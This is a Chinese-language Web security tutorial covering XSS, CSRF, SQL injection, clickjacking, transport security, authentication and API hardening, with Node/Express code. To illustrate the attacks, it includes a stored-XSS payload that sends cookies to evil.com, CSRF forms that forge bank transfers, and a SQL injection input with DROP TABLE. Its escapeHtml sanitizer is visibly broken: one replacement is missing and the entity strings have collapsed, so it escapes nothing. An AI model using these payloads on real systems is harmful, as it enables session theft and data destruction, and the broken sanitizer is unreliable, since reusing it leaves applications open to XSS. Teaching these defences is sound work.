Web安全防护指南

Web安全

安全是Web应用的生命线。一个安全漏洞可能导致用户数据泄露、财产损失,甚至企业倒闭。然而,安全往往被开发者忽视,直到问题发生才追悔莫及。在这篇文章中,我将全面介绍常见的Web安全威胁及其防护策略,帮助你构建更加安全的Web应用。

XSS跨站脚本攻击

XSS(Cross-Site Scripting)是最常见的Web安全漏洞,攻击者通过注入恶意脚本到网页中,窃取用户信息或执行恶意操作。

反射型XSS

恶意脚本通过URL参数传递,服务器将其反射回页面:

/* 危险的URL */
https://example.com/search?q=<script>alert('XSS')</script>

/* 后端直接输出 */
app.get('/search', (req, res) => {
  res.send(`搜索结果: ${req.query.q}`); // 危险!
});

存储型XSS

恶意脚本被存储在服务器(如数据库),每次访问都会执行:

/* 攻击者在评论中注入 */
评论内容: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

DOM型XSS

恶意脚本通过JavaScript动态插入DOM:

/* 危险的代码 */
document.getElementById('output').innerHTML = location.hash.slice(1);

/* 安全的代码 */
document.getElementById('output').textContent = location.hash.slice(1);

XSS防护

  1. 输入验证:对所有用户输入进行验证和过滤
  2. 输出编码:根据上下文对输出进行HTML、JavaScript、URL编码
  3. 使用安全API:使用textContent代替innerHTML
  4. CSP:设置Content-Security-Policy头
/* 输出编码函数 */
function escapeHtml(str) {
  return str
    .replace(/&/g, '&')
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

/* CSP头 */
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'

CSRF跨站请求伪造

CSRF攻击

CSRF(Cross-Site Request Forgery)攻击者诱导用户在已登录状态下执行非预期的操作。

攻击示例

/* 攻击者网站上的恶意代码 */
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">

/* 或自动提交表单 */
<form action="https://bank.com/transfer" method="POST" id="steal">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('steal').submit();</script>

CSRF防护

  1. CSRF Token:为每个表单生成唯一令牌
  2. SameSite Cookie:设置Cookie的SameSite属性
  3. 验证Referer:检查请求来源
  4. 二次验证:敏感操作要求输入密码或验证码
/* 后端生成CSRF Token */
app.get('/form', (req, res) => {
  const csrfToken = generateToken();
  req.session.csrfToken = csrfToken;
  res.render('form', { csrfToken });
});

/* 验证Token */
app.post('/submit', (req, res) => {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF验证失败');
  }
  // 处理请求
});

/* SameSite Cookie */
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly

SQL注入

SQL注入攻击者通过构造恶意输入,执行非预期的SQL语句。

攻击示例

/* 危险的查询 */
const query = `SELECT * FROM users WHERE id = ${userId}`;

/* 攻击输入 */
userId = "1 OR 1=1; DROP TABLE users;--"

/* 执行的SQL */
SELECT * FROM users WHERE id = 1 OR 1=1; DROP TABLE users;--

SQL注入防护

/* 使用参数化查询 */
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId], (err, results) => {
  // 安全
});

/* 使用ORM */
const user = await User.findByPk(userId);

/* 输入验证 */
if (!/^\d+$/.test(userId)) {
  throw new Error('Invalid user ID');
}

点击劫持

攻击者将目标网站嵌入iframe,覆盖透明层,诱导用户点击隐藏的按钮。

防护措施

/* X-Frame-Options头 */
X-Frame-Options: DENY
/* 或 */
X-Frame-Options: SAMEORIGIN

/* CSP frame-ancestors */
Content-Security-Policy: frame-ancestors 'self'

/* JavaScript防御 */
if (top !== self) {
  top.location = self.location;
}

HTTPS与传输安全

  1. 强制HTTPS:所有请求重定向到HTTPS
  2. HSTS:HTTP Strict Transport Security
  3. 安全Cookie:设置Secure标志
  4. 证书管理:使用可信CA证书,定期更新
/* HSTS头 */
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

/* 安全Cookie */
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict

身份认证安全

密码存储

/* 使用bcrypt加密密码 */
const bcrypt = require('bcrypt');
const saltRounds = 12;

// 存储
const hash = await bcrypt.hash(password, saltRounds);

// 验证
const match = await bcrypt.compare(inputPassword, hash);

会话管理

  • 使用安全的会话ID(随机、足够长)
  • 设置合理的过期时间
  • 登出后销毁会话
  • 检测异常登录(IP、设备变化)

多因素认证

敏感操作要求额外验证:短信验证码、TOTP、硬件密钥等。

API安全

速率限制

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15分钟
  max: 100, // 每IP最多100个请求
  message: '请求过于频繁'
});

app.use('/api/', limiter);

输入验证

const { body, validationResult } = require('express-validator');

app.post('/api/users',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 8 }),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 处理请求
  }
);

安全头配置

/* 使用Helmet设置安全头 */
const helmet = require('helmet');

app.use(helmet());

/* 等同于设置以下头 */
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: no-referrer
X-XSS-Protection: 0

总结

Web安全是一个系统工程,需要在开发的每个环节保持警惕。记住安全开发的黄金法则:

  1. 永不信任用户输入:验证、过滤、编码
  2. 最小权限原则:只给必要的权限
  3. 纵深防御:多层防护,不依赖单一措施
  4. 安全默认:默认安全,需要时才开放
  5. 定期审计:代码审查、渗透测试、依赖更新

安全是一场没有终点的赛跑,保持学习,与时俱进,才能守护好你的Web应用。